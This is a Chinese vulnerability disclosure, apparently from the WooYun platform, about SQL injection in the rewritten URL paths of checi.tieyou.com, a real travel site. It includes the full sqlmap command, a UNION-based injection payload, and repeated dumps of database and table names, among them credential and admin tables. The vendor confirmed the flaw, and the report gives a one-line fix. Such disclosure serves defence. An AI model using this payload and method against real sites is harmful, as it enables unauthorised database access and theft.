漏洞详情

披露状态:

2014-02-14: 细节已通知厂商并且等待厂商处理中
2014-02-14: 厂商已经确认,细节仅向厂商公开
2014-02-24: 细节向核心白帽子及相关领域专家公开
2014-03-06: 细节向普通白帽子公开
2014-03-16: 细节向实习白帽子公开
2014-03-31: 细节向公众公开

简要描述:

铁友网某站SQL注射 可致所有数据库信息泄露
使用SQLMAP跑表足够证明其危害,不继续深入

详细说明:

漏洞位置为

http://checi.tieyou.com/2251/2253/2257.html



由于其对于伪静态的处理存在缺陷,导致在解析uri中间的数字时引发注射

比如:

http://checi.tieyou.com/2251/2253/【注射语句】/2257.html





用SQLMAP 跑表

注:中间的星号是SQLMAP手动标注注射点的记号

C:\Users\Administrator>sqlmap.py -u "http://checi.tieyou.com/2251/2253/*/2257.html" --tables





sqlmap identified the following injection points with a total of 122 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: http://checi.tieyou.com:80/2251/2253/' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7179667571,0x69524558475976445374,0x71696d6f71),NULL,NULL,NULL,NULL,NULL,NULL#/2257.html
---
web application technology: Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: http://checi.tieyou.com:80/2251/2253/' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7179667571,0x69524558475976445374,0x71696d6f71),NULL,NULL,NULL,NULL,NULL,NULL#/2257.html
---
web application technology: Apache 2.2.15
back-end DBMS: MySQL 5
Database: league
[1 table]
+----------------------------------------------+
| tbl_Franchisee |
+----------------------------------------------+

Database: hotel
[40 tables]
+----------------------------------------------+
| tbl_city |
| tbl_hotel |
| tbl_hotel_facility |
| tbl_hotel_picture |
| tbl_hotel_placeinfoentity |
| tbl_hotel_roomtype |
| tbl_hotel_update_task |
| tbl_location |
| tbl_new_aerodrome |
| tbl_new_city |
| tbl_new_hot_city_hotel |
| tbl_new_hotel |
| tbl_new_hotel_1 |
| tbl_new_hotel_brand |
| tbl_new_hotel_brand_detail |
| tbl_new_hotel_channel |
| tbl_new_hotel_channelprice |
| tbl_new_hotel_facility |
| tbl_new_hotel_facility_12 |
| tbl_new_hotel_guarantee |
| tbl_new_hotel_old |
| tbl_new_hotel_order |
| tbl_new_hotel_orderPricelist |
| tbl_new_hotel_picture |
| tbl_new_hotel_placeinfoentity |
| tbl_new_hotel_rate |
| tbl_new_hotel_review |
| tbl_new_hotel_review_rate |
| tbl_new_hotel_roomtype |
| tbl_new_hotel_surroundings |
| tbl_new_hotel_update_task |
| tbl_new_location |
| tbl_new_province |
| tbl_new_station |
| tbl_new_user_common |
| tbl_new_user_cust |
| tbl_new_zone |
| tbl_province |
| tbl_tieyou_to_ctrip_log |
| tbl_zone |
+----------------------------------------------+

Database: flight
[5 tables]
+----------------------------------------------+
| tbl_aircraft |
| tbl_airline |
| tbl_airport |
| tbl_city |
| tbl_tieyou_to_ctrip_log |
+----------------------------------------------+

Database: log
[6 tables]
+----------------------------------------------+
| log |
| statistics |
| tbl_99ptoadmin_log |
| tbl_app_log |
| tbl_logs |
| tbl_user_log |
+----------------------------------------------+

Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances |
| events_waits_current |
| events_waits_history |
| events_waits_history_long |
| events_waits_summary_by_instance |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name |
| file_instances |
| file_summary_by_event_name |
| file_summary_by_instance |
| mutex_instances |
| performance_timers |
| rwlock_instances |
| setup_consumers |
| setup_instruments |
| setup_timers |
| threads |
+----------------------------------------------+

Database: mysql
[24 tables]
+----------------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+----------------------------------------------+

Database: address
[2 tables]
+----------------------------------------------+
| tbl_area |
| tbl_area_new |
+----------------------------------------------+

Database: analysis
[5 tables]
+----------------------------------------------+
| tbl_login_search_word |
| tbl_page_object |
| tbl_search_word |
| tbl_visit_route |
| tbl_visit_route_analysis |
+----------------------------------------------+

Database: lianmeng
[9 tables]
+----------------------------------------------+
| cronjoblogs |
| lm_admins |
| lm_commissions |
| lm_members |
| lm_orders |
| lm_pic_ads |
| lm_profits |
| lm_tixiansqs |
| lm_users |
+----------------------------------------------+

Database: configdb
[15 tables]
+----------------------------------------------+
| backupfilelist |
| counterdata |
| cpu |
| dbuserpassinfo |
| disk |
| io |
| mailinfo |
| mem |
| monitor_message |
| network |
| repl_heartbeat |
| statuscounter |
| swap |
| traceinfo |
| traceinfo_maxid |
+----------------------------------------------+

Database: cacheMem
[5 tables]
+----------------------------------------------+
| _cacheMem_00 |
| _cacheMem_01 |
| _cacheMem_02 |
| _cacheMem_03 |
| _cacheMem_04 |
+----------------------------------------------+

Database: clubCtrl
[21 tables]
+----------------------------------------------+
| tbl_admin_menu_area |
| tbl_admin_menu_topic |
| tbl_club_admin_join_log |
| tbl_club_announce |
| tbl_club_area |
| tbl_club_display_lanmu |
| tbl_club_display_topic |
| tbl_club_topic |
| tbl_club_userreport |
| tbl_manager_admin |
| tbl_manager_band_ip |
| tbl_manager_band_msg |
| tbl_manager_banword |
| tbl_manager_user_band |
| tbl_rule_power |
| tbl_rule_user_band |
| tbl_rule_user_band2 |
| tbl_rule_user_group |
| tbl_ticket_out_users |
| tbl_user_login_error |
| tbl_wap_addpp_log |
+----------------------------------------------+

Database: distributor
[6 tables]
+----------------------------------------------+
| tbl_deliver_type |
| tbl_distributor |
| tbl_distributor_deliver |
| tbl_distributor_deliver_area |
| tbl_distributor_deliver_dateline |
| tbl_distributor_limit_area |
+----------------------------------------------+

Database: news
[8 tables]
+----------------------------------------------+
| tbl_category |
| tbl_help |
| tbl_news |
| tbl_sph_counter |
| tbl_tag |
| tbl_tag_category |
| tbl_tag_news |
| tbl_ty_news |
+----------------------------------------------+





还有好多数据库,足矣证明其危害,不再继续演示危害

漏洞证明:

用SQLMAP 跑表

注:中间的星号是SQLMAP手动标注注射点的记号

C:\Users\Administrator>sqlmap.py -u "http://checi.tieyou.com/2251/2253/*/2257.html" --tables





sqlmap identified the following injection points with a total of 122 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: http://checi.tieyou.com:80/2251/2253/' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7179667571,0x69524558475976445374,0x71696d6f71),NULL,NULL,NULL,NULL,NULL,NULL#/2257.html
---
web application technology: Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: http://checi.tieyou.com:80/2251/2253/' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7179667571,0x69524558475976445374,0x71696d6f71),NULL,NULL,NULL,NULL,NULL,NULL#/2257.html
---
web application technology: Apache 2.2.15
back-end DBMS: MySQL 5
Database: league
[1 table]
+----------------------------------------------+
| tbl_Franchisee |
+----------------------------------------------+

Database: hotel
[40 tables]
+----------------------------------------------+
| tbl_city |
| tbl_hotel |
| tbl_hotel_facility |
| tbl_hotel_picture |
| tbl_hotel_placeinfoentity |
| tbl_hotel_roomtype |
| tbl_hotel_update_task |
| tbl_location |
| tbl_new_aerodrome |
| tbl_new_city |
| tbl_new_hot_city_hotel |
| tbl_new_hotel |
| tbl_new_hotel_1 |
| tbl_new_hotel_brand |
| tbl_new_hotel_brand_detail |
| tbl_new_hotel_channel |
| tbl_new_hotel_channelprice |
| tbl_new_hotel_facility |
| tbl_new_hotel_facility_12 |
| tbl_new_hotel_guarantee |
| tbl_new_hotel_old |
| tbl_new_hotel_order |
| tbl_new_hotel_orderPricelist |
| tbl_new_hotel_picture |
| tbl_new_hotel_placeinfoentity |
| tbl_new_hotel_rate |
| tbl_new_hotel_review |
| tbl_new_hotel_review_rate |
| tbl_new_hotel_roomtype |
| tbl_new_hotel_surroundings |
| tbl_new_hotel_update_task |
| tbl_new_location |
| tbl_new_province |
| tbl_new_station |
| tbl_new_user_common |
| tbl_new_user_cust |
| tbl_new_zone |
| tbl_province |
| tbl_tieyou_to_ctrip_log |
| tbl_zone |
+----------------------------------------------+

Database: flight
[5 tables]
+----------------------------------------------+
| tbl_aircraft |
| tbl_airline |
| tbl_airport |
| tbl_city |
| tbl_tieyou_to_ctrip_log |
+----------------------------------------------+

Database: log
[6 tables]
+----------------------------------------------+
| log |
| statistics |
| tbl_99ptoadmin_log |
| tbl_app_log |
| tbl_logs |
| tbl_user_log |
+----------------------------------------------+

Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances |
| events_waits_current |
| events_waits_history |
| events_waits_history_long |
| events_waits_summary_by_instance |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name |
| file_instances |
| file_summary_by_event_name |
| file_summary_by_instance |
| mutex_instances |
| performance_timers |
| rwlock_instances |
| setup_consumers |
| setup_instruments |
| setup_timers |
| threads |
+----------------------------------------------+

Database: mysql
[24 tables]
+----------------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+----------------------------------------------+

Database: address
[2 tables]
+----------------------------------------------+
| tbl_area |
| tbl_area_new |
+----------------------------------------------+

Database: analysis
[5 tables]
+----------------------------------------------+
| tbl_login_search_word |
| tbl_page_object |
| tbl_search_word |
| tbl_visit_route |
| tbl_visit_route_analysis |
+----------------------------------------------+

Database: lianmeng
[9 tables]
+----------------------------------------------+
| cronjoblogs |
| lm_admins |
| lm_commissions |
| lm_members |
| lm_orders |
| lm_pic_ads |
| lm_profits |
| lm_tixiansqs |
| lm_users |
+----------------------------------------------+

Database: configdb
[15 tables]
+----------------------------------------------+
| backupfilelist |
| counterdata |
| cpu |
| dbuserpassinfo |
| disk |
| io |
| mailinfo |
| mem |
| monitor_message |
| network |
| repl_heartbeat |
| statuscounter |
| swap |
| traceinfo |
| traceinfo_maxid |
+----------------------------------------------+

Database: cacheMem
[5 tables]
+----------------------------------------------+
| _cacheMem_00 |
| _cacheMem_01 |
| _cacheMem_02 |
| _cacheMem_03 |
| _cacheMem_04 |
+----------------------------------------------+

Database: clubCtrl
[21 tables]
+----------------------------------------------+
| tbl_admin_menu_area |
| tbl_admin_menu_topic |
| tbl_club_admin_join_log |
| tbl_club_announce |
| tbl_club_area |
| tbl_club_display_lanmu |
| tbl_club_display_topic |
| tbl_club_topic |
| tbl_club_userreport |
| tbl_manager_admin |
| tbl_manager_band_ip |
| tbl_manager_band_msg |
| tbl_manager_banword |
| tbl_manager_user_band |
| tbl_rule_power |
| tbl_rule_user_band |
| tbl_rule_user_band2 |
| tbl_rule_user_group |
| tbl_ticket_out_users |
| tbl_user_login_error |
| tbl_wap_addpp_log |
+----------------------------------------------+

Database: distributor
[6 tables]
+----------------------------------------------+
| tbl_deliver_type |
| tbl_distributor |
| tbl_distributor_deliver |
| tbl_distributor_deliver_area |
| tbl_distributor_deliver_dateline |
| tbl_distributor_limit_area |
+----------------------------------------------+

Database: news
[8 tables]
+----------------------------------------------+
| tbl_category |
| tbl_help |
| tbl_news |
| tbl_sph_counter |
| tbl_tag |
| tbl_tag_category |
| tbl_tag_news |
| tbl_ty_news |
+----------------------------------------------+





还有好多数据库,足矣证明其危害,不再继续演示危害

修复方案:

做好所有uri中的过滤,无论是否使用了伪静态

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-02-14 16:59

厂商回复:

感谢lxj616对携程安全的支持。

最新状态:

暂无


漏洞评价: